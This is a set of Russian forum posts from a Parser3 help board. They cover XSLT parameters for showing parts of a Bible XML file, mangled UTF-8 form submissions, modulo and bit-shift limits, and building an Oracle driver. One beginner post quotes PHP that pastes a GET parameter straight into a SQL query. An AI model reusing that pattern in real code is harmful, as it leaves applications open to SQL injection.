"72707","он сейчас на локальном компе производит трансформацию за 5 секунд. как мне оптимизировать все это? разбить по книгам? в любом случае при выборке через xnode как добиться трансформации через xls ?"
"72708","никак вы это не оптимизируете. создание dom-дерева очень рессурсоёмкая операция. при большом xml это выливается в сотни мегабайт памяти и огромное время.\
\
решение (если вы хотите таки работать с xml) -- только в разбивании данных на части.\
\
и я не понимаю, что вы имеете в виду под \"трансформацией при выборке xnode\". зачем вам xnode, если вы делаете всё xsl-ем? вы прямо там можете достать нужную ноду.\
\
P.S. xls -- это расширение файлов Excel-я, это совсем не то-же самое, что xsl."
"72709","Спасибо!\
Простенький редактор подключил, но вот с обработкой BBCode, есть вопросы...\
С этими редакторами идёт файл nbbc.php, но как его прикрутить к форуму на парсере не знаю и надо ли вообще...\
В документации к parser есть статья Perl-совместимые регулярные выражения, только как их использовать в этой статье нет ни одного примера, и можно ли их использовать для этого или всё можно обработать с помощью match Поиск подстроки по шаблону  ..."
"72712","Как в parser сделать аналог PHP locate?"
"72713","Правда понять из Вашего вопроса, что имелось ввиду крайне сложно."
"72714","Извините, что непонятно написал нужно следущее:\
\
^if($count>0){\
  ^if(def $form:f_reg_pass){          	\
    ^if(^math:crypt[$form:f_reg_pass;$u_pass] eq $u_pass){\
\
// все хорошо\
      $cookie:reg[ \
	$.value[$u_id]  \
	$.expires[session]\
\
вот в этом месте нужно что-то сделать чтобы появилась страница index.html\
\
      ]  \
    }{\
      $err_reg[Вы не верно ввели пароль]\
    }  	\
  }{\
    $err_reg[Вы не ввели пароль]            \
... \
и т.д."
"72715","... что вам мешает в том самом месте вызвать процедуру формирования страницы.\
\
Если же надо сделать редирект, то это тоже не сложно - http://www.parser.ru/docs/lang/responsefields.htm Только надо понимать, что в том самом index.html все равно надо проверять авторизацию."
"72716","Пропарсите большой XML файл и положите контент в БД в нужном виде. потом выбирайте что нужно отобразить [стройте XML если у вас в качестве шаблонизатора XSL]"
"72717","Да ничего не мешает, просто не знаю как. Я с этим parser-ом 3-й день всего общаюсь ;-(\
То что в index.html проверка это понятно.\
Спасибо за помощь"
"72718","[quote]создание dom-дерева очень рессурсоёмкая операция. при большом xml это выливается в сотни мегабайт памяти и огромное время.[/quote]\
\
http://www.parser.ru/forum/?id=70366\
\
Видно, что это весьма быстро (чему был удивлен).\
Памяти да, жрет примерно в 10 раз больше, чем исходный XML.\
Но это вопрос лимитов на веб-сервере.\
\
[quote]он сейчас на локальном компе производит трансформацию за 5 секунд.\
[/quote]\
\
Вероятно поиск нужного кусочка сделан неоптимально\
(читать например про xsl:key), не видя кода сложно сказать точнее."
"72719","когда я делал mp3.samsung.ru, там надо было 3МБ xml распарсить. на локальной машине это выливалось в более 5 минут времени и пожирание почти 1 Гб памяти. и это был только xdoc::create.\
\
да, с тех пор много воды утекло, может и в xml либе баг какой был и у нас что-то. но осадок-то остался %-)\
\
P.S. нету под рукой несколькомегабайтной xml-ины, чтобы проверить на последней версии.\
P.P.S. также возможно, что я тогда не очень правильно тестировал или не учёл какую-нить важную \"мелочь\""
"72720","единственное чего не могу понять, прочитав всю документацию языка XSLT - как можно извне использовать вызов обработки отдельного кусочка xml, а именно: как мне, передав через адресную строку несколько переменных скажем /?book=1&chapter=10&verse=2 получить их чыде шаблоном, или я не в ту сторону копаю?\
моя задача - не выводить весь xml а выбрать только одну главу или один стих из главы и вывести. шаблон преобразовывает все, а как мне отобрать ДИНАМИЧЕСКИ что именно парсить?"
"72721","1. вы можете transform-у передать xsl param, в которых задать поведение вашего шаблона\
2. вы можете в xml добавить нужные вам параметры или до создания xdoc или использовав DOM методы"
"72722","xml ~4.5 мб\
\
xdoc::load -- 2-3 с\
xdoc::create из уже загруженного в память файла -- 1 с\
несложный transform -- 0.05 c\
\
С памятью измерения сложнее, т.к. использую модуль апача, а он текуч на таких больших документах."
"72723","... с базой книг в формате YandexML. В первом подходе использовался xPath и отжирался гигабайт оперативки, после чего все падало, потом ПАФ порекомендовал забыть про xPath и ходить напрямую через DOM, после чего вся обработка умещалась примерно в 100 МБ и делалась крайне быстро."
"72724","реально получилось передать данные через XSLT-params как описано [url=\"http://www.parser.ru/forum/?id=20922\"]тут[/url]\
\
вот этот код весьма быстр, пусть и не конечен.\
\
[code]<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:output method=\"html\" encoding=\"windows-1251\" doctype-public=\"-//W3C//DTD XHTML 1.0 Transitional//EN\" doctype-system=\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"/>\
\
  <xsl:template match=\"body\">\
       <xsl:param name=\"bk\" />\
    <xsl:param name=\"chapter\" />\
    <xsl:param name=\"verse\" />\
 <html>\
    <head>\
    <title><xsl:value-of select=\"book-title\" /></title>\
    <link href=\"bible.css\" rel=\"stylesheet\" type=\"text/css\" />\
    </head>\
    <body>\
    <xsl:apply-templates select=\"//book\" />\
    \
    </body>\
    </html>\
  </xsl:template>\
\
\
  <xsl:template match=\"book\">\
    <xsl:choose>\
      <xsl:when test=\"position() = $bk\">\
        <table cellpadding=\"0\" cellspacing=\"0\">\
  <xsl:if test=\"$chapter &lt; 2 and $verse=''\"><tr>\
            <td class=\"book\" colspan=\"2\"><xsl:apply-templates select=\"title\" />\
            </td>\
          </tr></xsl:if>\
          <xsl:apply-templates select=\"chap\" />\
        </table>\
      </xsl:when>\
    </xsl:choose>\
  </xsl:template>\
 \
  <xsl:template match=\"chap\">\
    <xsl:choose>\
      <xsl:when test=\"./@id = $chapter\">\
        <tr>\
          <xsl:if test=\"$verse=''\"><td class=\"chapter_head\"><xsl:value-of select=\"./@id\" /></td></xsl:if>\
          <td class=\"text\"><xsl:apply-templates select=\"p\" />\
          </td>\
        </tr>\
      </xsl:when>\
      <xsl:otherwise>\
      <xsl:if test=\"$chapter=''\"><tr>\
          <td class=\"chapter_head\"><xsl:value-of select=\"./@id\" /></td>\
          <td class=\"text\"><xsl:apply-templates select=\"p\" />\
          </td>\
        </tr></xsl:if>\
      </xsl:otherwise>\
    </xsl:choose>\
  </xsl:template>\
 \
  <xsl:template match=\"p\">\
    <xsl:choose>\
      <xsl:when test=\"./@vers = $verse\">\
        <p><span class=\"scripture\"><xsl:value-of select=\"//book[position()= $bk]/title\" />&#160;<xsl:value-of select=\"$chapter\" />:<xsl:value-of select=\"./@vers\" /></span>&#160;<span class=\"scriptureQuote\"><xsl:value-of select=\"concat('&#8220;' , . , '')\" /></span></p>\
      </xsl:when>\
      <xsl:otherwise>\
        <xsl:if test=\"$verse=''\"><p><span class=\"verse\"><xsl:value-of select=\"./@vers\" /></span><xsl:value-of select=\".\" /></p></xsl:if>\
      </xsl:otherwise>\
    </xsl:choose>\
  </xsl:template>\
</xsl:stylesheet>\
\
\
\
# входной xdoc документ \
$sourceDoc[^xdoc::load[/bible/bible.xml]] \
# преобразование xdoc документа шаблоном article.xsl \
$transformedDoc[^sourceDoc.transform[/bible/bible.xsl][$.bk[$form:bk]$.chapter[$form:ch]$.verse[$form:ver]]] \
\
# выдача результата в HTML виде \
^transformedDoc.string[ $.method[html] ] \
\
[/code]\
\
\
возник другой вопрос...\
как мне можно выбрать множество [i]verse[/i], перечисленные, скажем через [i]запятую [/i]или выделенные диапазоном типа [i]23-36[/i]? \
\
[b]например: [/b]/?bk=3&ch=6&ver3-7,10,12,15-18\
\
я в  xslt не нашел аналога [code]$s[^str.split[,;hl] и ^for[ss](1;^s._count[]){...}[/code] (xslt:for-each тут не подойдет вроде)"
"72725","Парсер не пропускает кусок js, untaint не помогает (\
Вот собственно сами процедуры \
\
function tree_toggle(event) {\
	    event = event || window.event\
	    var clickedElem = event.target || event.srcElement\
	 \
	    if (!hasClass(clickedElem, 'Expand')) {\
	        return // клик не там\
	    }\
	 \
	    // Node, на который кликнули\
	    var node = clickedElem.parentNode\
	    if (hasClass(node, 'ExpandLeaf')) {\
	        return // клик на листе\
	    }\
	 \
	    // определить новый класс для узла\
	    var newClass = hasClass(node, 'ExpandOpen') ? 'ExpandClosed' : 'ExpandOpen'\
	    // заменить текущий класс на newClass\
	    // регексп находит отдельно стоящий open|close и меняет на newClass\
		var re =  /(^|\\s)(ExpandOpen\"|\"ExpandClosed)(\\s|$)/\
	    node.className = node.className.replace(re, '$1'+newClass+'$3')\
	}\
	\
	 \
	function hasClass(elem, className) {\
	    return new RegExp(\"(^|\\\\s)\"+className+\"(\\\\s|$)\").test(elem.className)\
	}\
\
ругается на \
var re =  /(^|\\s)(ExpandOpen\"|\"ExpandClosed)(\\s|$)/\
и на \
return new RegExp(\"(^|\\\\s)\"+className+\"(\\\\s|$)\").test(elem.className)\
\
PS только учу парсер так что может и моя ошибка..."
"72726","хм... решено прочтением мануала в 100500 раз\
http://www.parser.ru/docs/lang/?stringlit.htm"
"72728","Каким способом можно это сделать используя парсер?"
"72729","[quote]\
Каким способом можно это сделать используя парсер?\
[/quote]\
\
абсолютно таким-же способом, как на любом другом языке программирования.\
\
P.S. а вообще, для подобных целей БД больше подходит, imho"
"72730","в том то и задача из БД надо в xml все перекинуть. А можно пример кода записи (просто в документации примеры, только чтение из xml)?"
"72731","[code]\
$tNews[^table::sql{SELECT id, title, lead FROM news WHERE ...}]\
<news-items>\
^tNews.menu{\
	<item\
		id=\"$tNews.id\"\
		href=\"/article/?id=$tNews.id\"\
	>\
		<title>$tNews.title</title>\
		<lead>$tNews.lead</lead>\
	</item>\
}\
</news-items>\
[/code]"
"72732","имеем шаблон в котором\
в описание мета тега используется переменная, но она выводиться сразу \
в данный момент используется метод\
перед мета тегами вызывается\
^if($initHeaderVariables is junction){^initHeaderVariables[]}\
и при необходимости все переменные заполняются в методе на странице.\
Но как то это не правильно, иногда надо менять эти переменные в процессе формирования контента, но методы формирования контента вызываются после инициализации хедера.\
В общем надеюсь, понятно, объяснил.\
Я так понимаю можно использовать постпроцесс, но это получиться, надо лопатить каждый раз вывод, не оптимально как-то."
"72733","прочитайте внимательно http://www.parser.ru/docs/lang/mainclass.htm\
\
Можете тоже хранить контент в переменной прежде вывода хедеров:\
[code]\
@auto[]\
$htmlContent[^doHtmlContentAndBuildHeaders[]]\
\
@main[]\
<html>\
<head>$headers</head> ^rem{переменна создана через ^doHtmlContentAndBuildHeaders[]}\
<body>$htmlContent</body>\
</html>\
[/code]"
"72734","в принципе так и делаю, но в наследство достался класс новостей, в котором вся подноготная скрыта в самом классе.\
Не правильно человек понял предназначение класса. Вот теперь и строиться костыль."
"72736","Есть форма с <textarea name=\"smp\"></textarea>.\
При отправке формы в обработчик приходят искореженные данные. Причем данные корежатся в какой-то зависимости от пробельных символов в самих данных.\
\
Например.\
\
[b]Случай 1[/b]\
Отправляю этот текст (с табуляциями в начале строк):\
[code]<form name=\"authorisation\">\
	<dl>\
		<dt>submit</dt><dd>valid</dd><dd>changed</dd>\
	</dl>\
\
	<div>\
		<h3>Вход</h3>\
		<div class=\"errors\"></div>\
	</div>\
\
	<input name=\"auth.logon\" type=\"hidden\" value=\"do\" />\
\
	<label>Логин</label>\
	<input name=\"auth.name\" id=\"auth_name\" type=\"login\" />\
	<dl>\
		<dt>valid</dt><dd>/^[A-Za-z0-9\\_\\-]+$/</dd>\
		<dt>required</dt>\
	</dl>\
\
	<label>Пароль</label>\
	<input name=\"auth.passwd\" id=\"auth_passwd\" type=\"password\" />\
	<dl>\
		<dt>required</dt>\
		<dt>example</dt><dd><a object-id=\"59\">Не&nbsp;помню</a></dd>\
	</dl>\
\
	<select name=\"auth.persistent\">\
		<option value=\"1\" checked=\"true\">запомнить меня</option>\
	</select>\
	<dl>\
		<dt>type</dt><dd>checkbox</dd>\
	</dl>\
\
	<label>&nbsp;</label>	\
	<input type=\"submit\" id=\"sub_form\" value=\"Войти\" />\
\
	<div class=\"switcher_link\"><a id=\"registaration-link\" object-id=\"58\" /></div>\
\
</form>[/code]\
\
В $form:smp попадают обрезанные данные:\
[code]<form name=\"authorisation\">\
	<dl>\
		<dt>submit</dt><dd>valid</dd><dd>changed</dd>\
	</dl>\
\
	<div>\
		<h3>Вход</h3>\
		<div class=\"errors\"></div>\
	</div>\
\
	<input name=\"auth.logon\" type=\"hidden\" value=\"do\" />\
\
	<label>Логин</label>\
	<input name=\"auth.name\" id=\"auth_name\" type=\"login\" />\
	<dl>\
		<dt>valid</dt><dd>/^[A-Za-z0-9\\_\\-]+$/</dd>\
		<dt>required</dt>\
	</dl>\
[/code]\
\
[b]Случай 2[/b]\
Отправляю такое (табуляции плюс кое-где пробелы):\
[code]<form name=\"authorisation\">\
   \
	<dl>\
		<dt>submit</dt> <dd>valid</dd> <dd>changed</dd>\
	</dl>\
\
	<div>\
		<h3>Вход</h3>\
		<div class=\"errors\"></div>\
	</div>\
\
	<input name=\"auth.logon\" type=\"hidden\" value=\"do\" />\
\
	<label>Логин</label>\
	<input name=\"auth.name\" id=\"auth_name\" type=\"login\" />\
	<dl>\
	    <dt>valid</dt><dd>/^[A-Za-z0-9\\_\\-]+$/</dd>\
		<dt>required</dt>\
	</dl>\
\
	<label>Пароль</label>\
	<input name=\"auth.passwd\" id=\"auth_passwd\" type=\"password\"/>\
	<dl>\
		<dt>required</dt>\
		<dt>example</dt><dd><a object-id=\"59\">Не&nbsp;помню</a></dd>\
	</dl>\
\
\
	<select name=\"auth.persistent\">\
		<option value=\"1\" checked=\"true\">запомнить меня</option>\
	</select>\
	<dl>\
		<dt>type</dt>\
		<dd>checkbox</dd>\
	</dl>\
\
	<label>&nbsp;</label>	\
	<input type=\"submit\" id=\"sub_form\" value=\"Войти\" />\
\
	<div class=\"switcher_link\"><a id=\"registaration-link\" object-id=\"58\"/></div>\
\
</form>[/code]\
\
Получаю такое:\
[code]<form name=\"authorisation\">\
   \
	<dl>\
		<dt>submit</dt> <dd>valid</dd> <dd>changed</dd>\
	</dl>\
\
	<div>\
		<h3>Вход</h3>\
div>\"></div>\"></div>\"></div>\
	</div>\
\
	<input name=\"auth.logon\" type=\"hidden\" value=\"do\" />\
\
	<label>Логин</label>\
	<input name=\"auth.name\" id=\"auth_name\" type=\"login\" />\
	<dl>\
	    <dt>valid</dt><dd>/^[A-Za-z0-9\\_\\-]+$/</dd>\
		<dt>required</dt>\
	</dl>\
\
</label>Пароль</label>\
	<input name=\"auth.passwd\" id=\"auth_passwd\" type=\"password\"/>\
	<dl>\
		<dt>required</dt>\
		<dt>example</dt><dd><a object-id=\"59\">Не&nbsp;помню</a></dd>\
	</dl>\
\
\
	<select name=\"auth.persistent\">\
		<option value=\"1\" checked=\"true\">запомнить меня</option>\
	</select>\
	<dl>\
		<dt>type</dt>\
		<dd>checkbox</dd>\
	</dl>\
\
	<label>&nbsp;</label>	\
	<input type=\"submit\" id=\"sub_form\" value=\"Войти\" />\
\
	<div class=\"switcher_link\"><a id=\"registaration-link\" object-id=\"58\"/></div>\
\
</form>[/code]\
\
т.е. <div class=\"errors\"></div> заменился на такую гадость div>\"></div>\"></div>\"></div>, а <label>Пароль</label> заменился на </label>Пароль</label>\
\
С чем это все может быть связано? Как побороть?\
ОС: Ubuntu 10.04, 32-битная.\
Парсер: 3.4.0.\
Парсерный скрипт пробовал и из убунтовского репозитария и с этого сайта (parser3_4_0_debian5_cgi_xml.tar.gz)."
"72737","для начала попробуйте упростить код, например до такого:\
[code]\
^if(def $form:text){\
	^form:text.save[/../temp/form.txt]\
}{\
	<form method=\"post\">\
		<textarea name=\"text\"></textarea>\
		<input type=\"submit\" name=\"do\" value=\"Send\" />\
	</form>\
}\
[/code]\
и посмотрите, происходит-ли искажение данных."
"72738","мы используем xml + xsl и такой проблемы не возникает, т.к. формирование данных (xml) отделено от формирования страницы.\
\
\
в тех случаях, когда мы не используем xml+xsl, то, чтобы не возникало подобных проблем, в @main формируются необходимые объекты и задаётся их поведение, а в @postprocess значения сформированных объектов вставляются в необходимые места html-шаблона. т.е. всё равно формирование данных (в этом случае они в парсерных объектах) и формирование страницы разнесено во времени."
"72740","Явно в $form:text попадает не то, что должно бы.\
Файрбаг показывает что скрипту отправляется то, что нужно. А вот в серверной стороне уже бяка.\
\
Если в указанных данных в начале строк табуляцию заменяю на пробелы, то приходит нормально без искажений. Если табуляции или сочетание табуляций и пробелов, то все также приходят или покореженные или обрезанные данные, или и то и другое вместе."
"72741","отправил это\
[code]<form name=\"authorisation\">\
	<dl>\
		<dt>submit</dt> <dd>valid</dd> <dd>changed</dd>\
	</dl>\
\
	<div>\
		<h3>Вход</h3>\
		<div class=\"errors\"></div>\
	</div>\
\
	<input name=\"auth.logon\" type=\"hidden\" value=\"do\" />\
\
	<label>Логин</label>\
	<input name=\"auth.name\" id=\"auth_name\" type=\"login\" />\
	<dl>\
		<dt>valid</dt><dd>/^[A-Za-z0-9\\_\\-]+$/</dd>\
		<dt>required</dt>\
	</dl>\
\
	<label>Пароль</label>\
	<input name=\"auth.passwd\" id=\"auth_passwd\" type=\"password\"/>\
	<dl>\
		<dt>required</dt>\
		<dt>example</dt><dd><a object-id=\"59\">Не помню</a></dd>\
	</dl>\
\
\
	<select name=\"auth.persistent\">\
		<option value=\"1\" checked=\"true\">запомнить меня</option>\
	</select>\
	<dl>\
		<dt>type</dt>\
		<dd>checkbox</dd>\
	</dl>\
\
	<label> </label>	\
	<input type=\"submit\" id=\"sub_form\" value=\"Войти\" />\
\
	<div class=\"switcher_link\"><a id=\"registaration-link\" object-id=\"58\"/></div>\
\
</form>[/code]\
\
получил это\
[code]<form name=\"authorisation\">\
	<dl>\
		<dt>submit</dt> <dd>valid</dd> <dd>changed</dd>\
	</dl>\
\
	<div>\
		<h3>Вход</h3>\
		<div class=\"errors\"></div>\
	</div>\
\
	<input name=\"auth.logon\" type=\"hidden\" value=\"do\" />\
\
	<label>Логин</label>\
	<input name=\"auth.name\" id=\"auth_name\" type=\"login\" />\
	<dl>\
		<dt>valid</dt><dd>/^[A-Za-z0-9\\_\\-]+$/</dd>\
		<dt>required</dt>\
	</dl>\
\
&#65533;</label>&#65533;ароль</label>\
	<input name=\"auth.passwd\" id=\"auth_passwd\" type=\"password\"/>\
	<dl>\
		<dt>required</dt>\
		<dt>example</dt><dd><a object-id=\"59\">Не помню</a></dd>\
	</dl>\
\
\
	<select name=\"auth.persistent\">\
		<option value=\"1\" checked=\"true\">запомнить меня</option>\
	</select>\
	<dl>\
		<dt>type</dt>\
		<dd>checkbox</dd>\
	</dl>\
\
	<label> </label>	\
	<input type=\"submit\" id=\"sub_form\" value=\"Войти\" />\
\
	<div class=\"switcher_link\"><a id=\"registaration-link\" object-id=\"58\"/></div>\
\
</form>[/code]\
\
Испортились символы в слове \"Пароль\" и перед ним.\
Файл в utf08, в auto.p:\
[code]$request:charset[UTF-8]\
$response:charset[UTF-8]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
][/code]\
\
Даже догадок нет, что за полтергейст творится."
"72743","[code]$n1[-443704711]\
$n2[4294967296]\
^eval(^n1.double[] % ^n2.double[])[/code]\
= [b]-443704711[/b]\
\
Python, Google и даже Excel считают иначе — [url=\"http://www.google.ru/search?q=-443704711+mod+4294967296\"]3851262585[/url].\
MySQL, XSLT и калькулятор Windows придерживаются ответа «-443704711».\
\
Не совсем понимаю причину, ошибка из-за размера чисел?\
С double, выходит, толком не посчитать?"
"72744","в частности OpenOffice (который считает как и Excel) в своей справке приводит такую формулу: Dividend - Divisor * INT(Dividend/Divisor)\
\
но дело в том, что использовать их реализацию INT в этой формуле нельзя, т.к. он округляет в меньшую сторону (-1.3 -> -2). использовать надо TRUNC.\
\
да и если подумать логически, то парсерная реализация правильная, т.к. % (==MOD) возвращает _остаток_от_деления_. и т.к. с абсолютное значение делимого меньше делителя, то всё делимое и должно вернуться в виде результата функции.\
\
http://support.microsoft.com/kb/141178"
"72745","Убираем отрицательность:\
[code]$n1[443704711]\
$n2[4294967296]\
^eval(^n1.double[] % ^n2.double[])[/code]\
= [b]443704711[/b]"
"72747","[code]$n1[-443704711]\
$n2[4294967296]\
^eval(^n1.double[] - ^n2.double[] * ^math:floor(^n1.double[] / ^n2.double[]))[/code]\
= [b]3851262585[/b]\
\
Это, как я понимаю аналог с их INT."
"72749","Дабы повторить алгоритм на Парсере.\
А такая арифметика — его часть.\
\
Спасибо за помощь."
"72750","[code]$n1[228452386]\
^eval(^n1.double[] << 8)[/code]\
= [b]-1645731328[/b]\
\
MySQL и Python — 58483810816.\
\
Судя по тому, что число становится отрицательным, как бы не старший бит и обрезка."
"72752","Может это в документации явно указать?\
Лично я сэкономил бы три дня, зная, что упрусь в это."
"72754","Притом, что, как пишет PAF, «[url=\"http://www.parser.ru/forum/?id=49834\"]все числовые вычисления происходят в double[/url]».\
Уж не знаю насколько сдвиговые операции можно считать числовыми вычислениями, но путаницу явно не описанные ограничения вносят.\
\
Остальные битовые операции тоже ограничены int'ом?"
"72755","сдвиговые операции работают с int по моему вообще везде (посмотрите доку perl, python -- там они работают аналогично), т.к. особого смысла двигать биты у double -- нет.\
\
в p3 они работают с double, но при этом происходит неявное приведение типа к int, т.е. в случае больших double происходит потеря данных.\
\
то, что писал ПАФ -- почти корректно, т.к. формально сдвиговые операции относятся к _битовым_ операциям, а не к математическим (== числовые вычисления)."
"72756","[quote]посмотрите доку perl, python -- там они работают аналогично[/quote]\
\
Это не так:\
[code]Python:\
>>> 1 << 100\
1267650600228229401496703205376L\
[/code]\
[code]MySQL:\
SELECT 2147483647 << 20\
2251799812636672[/code]\
\
В JavaScript — да, что указывают."
"72757","SELECT 2 << 1\
SELECT 2.1 << 1\
\
возможно я некорректно выразился. я имел в виду, что эти операции работают только с целочислеными типами. теперь внимание вопрос: какие целочисленные типы есть у p3?"
"72758","и к int не приводится.\
\
[quote]я имел в виду, что эти операции работают только с целочислеными типами[/quote]\
За неимением большего, чем int целого приходится пользоваться double для операций с целыми числами.\
Лично для меня неожиданно, что битовые операции ограничены int'ом — в исходниках не копаюсь, а в документации не указано.\
\
Уж как работает, но плохо, что не описано, и приходится выяснять, потратив время на то, чего сделать нельзя в принципе."
"72765","/usr/lib/apache2/modules/mod_actions.so\
/usr/lib/apache2/modules/mod_alias.so\
/usr/lib/apache2/modules/mod_auth_basic.so\
/usr/lib/apache2/modules/mod_authn_file.so\
/usr/lib/apache2/modules/mod_authz_default.so\
/usr/lib/apache2/modules/mod_authz_groupfile.so\
/usr/lib/apache2/modules/mod_authz_host.so\
/usr/lib/apache2/modules/mod_authz_user.so\
/usr/lib/apache2/modules/mod_autoindex.so\
/usr/lib/apache2/modules/mod_cgi.so\
/usr/lib/apache2/modules/mod_deflate.so\
/usr/lib/apache2/modules/mod_dir.so\
/usr/lib/apache2/modules/mod_env.so\
/usr/lib/apache2/modules/mod_mime.so\
/usr/lib/apache2/modules/mod_negotiation.so\
/usr/lib/apache2/modules/libphp5.so\
/usr/lib/apache2/modules/mod_reqtimeout.so\
/usr/lib/apache2/modules/mod_rewrite.so\
/usr/lib/apache2/modules/mod_setenvif.so\
/usr/lib/apache2/modules/mod_ssl.so\
/usr/lib/apache2/modules/mod_status.so\
/usr/lib/apache2/modules/mod_vhost_alias.so"
"72766","Где можно вять версию парсера для работы с oracle?"
"72767","раз http://www.parser.ru/docs/lang/parserconfmethod.htm\
два http://www.parser.ru/docs/lang/app3oracle.htm\
три под линух http://www.parser.ru/docs/lang/compilesrc.htm\
четыре под венду http://www.parser.ru/f/1/download/win32/parser3sql_10_0_win32_oracle.zip\
\
Да и можно скромный вопрос, какой размер базы у вас?"
"72768","Из модулей меня смущает только deflate (если он включен).\
\
Можно попробовать у формы (надеюсь метод там указан POST, а не GET) добавить enctype=\"multipart/form-data\".\
\
Опять же точный парсерный код (в идеале не фрагмент кода, а полноценный test.html) сильно бы упростил задачу."
"72769","Размер, примерно 1 Гб! \
А есть ли где то уже скомпилированные файлы для FreeBSD Oracle11?\
Где можно взять файл libparser3oracle.so ?"
"72770","Драйвер + исходники весит около мегабайта - http://www.parser.ru/download/src/\
\
Так что вооружайтесь консолью и собирайте драйвер - это не сложно... если, конечно, внимательно читать документацию и сообщения configure."
"72771","БД примерно 1 Гб будет. Пробовал собирать- многих файлов не хватает (oci.h, oratypes.h и многих других), так как oracle установлен не у меня и доступа к нему нет. То есть тупик какой то :("
"72772","... но это, так, к слову. [Кстати, размеры БД меряются не в байтах, а в количестве записей ;)]\
\
Что касается библиотеки, то не только для сборки, но и для работы parser3oracle.so необходимо наличие на сервере клиентской библиотеки Оракла (во freebsd есть соответствующий порт), так что есть смысл обратиться к админам, чтобы они поставили библиотеку, включая заголовочные файлы."
"72773","Здравствуйте всем.\
брался за парсер потом бросил, сейчас вторая попытка.\
На PHP сляпал чтото на подобие каталога файлов.\
Первая страничка вызов таблицы из базы такой\
$query = \"SELECT * FROM categories ORDER BY id;\";\
Она выводила всё с таблицы\
Второй странички такой \
$result = mysql_query(\"SELECT * FROM sub_categories WHERE cid = '\".$_GET['id'].\"';\", $link);\
Она выводила по id и вырисовывала те файлы которые были отмечены cid.\
Теперь переношу в Parser\
Парвая страничкавызывается так\
^connect[$connect_oly_string]{$cats[^table::sql{select id, namec from categories}] \
   ^if($cats){ \
      ^cats.menu{ \
         <b><a href=nak.html?id=$cats.id>$cats.namec</a></b><br />\
      } \
   } \
}\
Показывает все категории.\
Вторую делал так\
^connect[$connect_oly_string]{$cats[^table::sql{select cid, id, names from sub_categories where cid}] \
   ^if($cats){ \
      ^cats.menu{ \
         <b><a href=nak.html?id=$cats.cid>$cats.names</a></b><br />\
      } \
   } \
}\
И опять выводит все покатегории.\
Может кто подскажет какой манвр с вызовом таблицы, а то шото я в хелпе не нахожу.\
смотрел сортировку вывод строк, таблиц, а как вывести определённую строку с определённым столбцом, не нахожу.\
Буду рад подсказке."
"72774","... вместо where cid должно быть что-то подобное: where cid = '$form:id'"
"72775","Спасибо, теперь пошло."
"72776","Вот полный текст испытуемого файла.\
\
[code]<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"></head><body>\
\
	^if(def $form:text){\
		^form:text.save[form.txt]\
	}\
\
	<form method=\"post\" enctype=\"multipart/form-data\">\
		<p><textarea name=\"text\" cols=\"120\" rows=\"30\">^taint[as-is][$form:text]</textarea></p>\
		<p><input type=\"submit\" name=\"do\" value=\"Send\"></p>\
	</form>\
\
</body></html>[/code]\
\
Смена method=get/post ошибку не исправляет. enctype ошибку не исправляет.\
Раньше думал, что если табуляции заменить на пробелы, то исправляется, оказывается что и это не исправляет."
"72777","уточните, плиз, версию OS (32/64bit?), web сервера и parser(32/64bit? cgi/module?).\
\
мне кажется, что проблема не в парсере, а в web сервере. предлагаю попробовать это проверить.\
\
вариант 1:\
[code]\
^if(def $form:text){\
	^request:body.save[/../temp/request.txt]\
}\
[/code]\
\
вариант 2 (если можете попробовать собрать парсер сами):\
в parser3.C в SAPI::read_post в конце можно попробовать или записать считанное у веб сервера в файл или тупо throw его.\
\
вариант 3 (вообще исключаем parser):\
в качестве action указать какой-нить action.pl, в котором принять данные и сохранить в файл."
"72778","Здравствуйте. Я извиняюсь, если уже такая тема обсуждалась или проглядел в документации. Возможна ли сортировка данных в cfg по алфавиту? Скажем, у меня есть файл, куда я вставляю ссылки в произвольном алфавитном порядке (без www), скажем, сначала parser.ru, потом magazine.com, archive.ru, xavier.ru и прочее. Доменная зона значения не имеет, важно только расположить ссылки в порядке латинского алфавита, чтобы самому этого не делать (ибо ссылок слишком много).\
\
Знаю, что есть метод sort, а есть ли функция сортировки по алфавиту? Спасибо."
"72780","А, извините, меня почему-то заклинило, что он может только числа сортировать. Можете закрывать тему."
"72781","[quote]ОС: Ubuntu 10.04, 32-битная.\
Парсер: 3.4.0.\
Парсерный скрипт пробовал и из убунтовского репозитария и с этого сайта (parser3_4_0_debian5_cgi_xml.tar.gz).\
[/quote]\
\
2zobzn: а если UTF-8 поменять на Windows-1251?\
И какие кодировки заданы у парсера в cgi/auto.p?"
"72782","Ubuntu 10.04 32bit\
Apache/2.2.14\
Parser/3.4.0 (compiled on i686-pc-linux-gnu)\
\
вариант 1: в $request:body все красиво без искажений\
[code]------WebKitFormBoundaryuzilcriRAD6bB6qz\
Content-Disposition: form-data; name=\"text\"\
\
<form name=\"authorisation\">\
	<dl>\
		<dt>submit</dt><dd>valid</dd><dd>changed</dd>\
	</dl>\
\
	<div>\
		<h3>Вход</h3>\
		<div class=\"errors\"></div>\
	</div>\
\
	<input name=\"auth.logon\" type=\"hidden\" value=\"do\" />\
\
	<label>Логин</label>\
	<input name=\"auth.name\" id=\"auth_name\" type=\"login\" />\
	<dl>\
		<dt>valid</dt><dd>/^[A-Za-z0-9\\_\\-]+$/</dd>\
		<dt>required</dt>\
	</dl>\
\
	<label>Пароль</label>\
	<input name=\"auth.passwd\" id=\"auth_passwd\" type=\"password\" />\
	<dl>\
		<dt>required</dt>\
		<dt>example</dt><dd><a object-id=\"59\">Не&nbsp;помню</a></dd>\
	</dl>\
\
	<select name=\"auth.persistent\">\
		<option value=\"1\" checked=\"true\">запомнить меня</option>\
	</select>\
	<dl>\
		<dt>type</dt><dd>checkbox</dd>\
	</dl>\
\
	<label>&nbsp;</label>	\
	<input type=\"submit\" id=\"sub_form\" value=\"Войти\" />\
\
	<div class=\"switcher_link\"><a id=\"registaration-link\" object-id=\"58\" /></div>\
\
</form>\
------WebKitFormBoundaryuzilcriRAD6bB6qz\
Content-Disposition: form-data; name=\"do\"\
\
Send\
------WebKitFormBoundaryuzilcriRAD6bB6qz--[/code]\
\
вариант 2: никогда ничего в линуксе не компилил, поэтому этот вариант у меня может занять несколько дней...\
\
вариант 3: перла не знаю. аналогичный скрипт на php в $_REQUEST['text'] получает все без искажений."
"72783","Уже писал, все в utf-8 - и в auto.p и все .html файлы.\
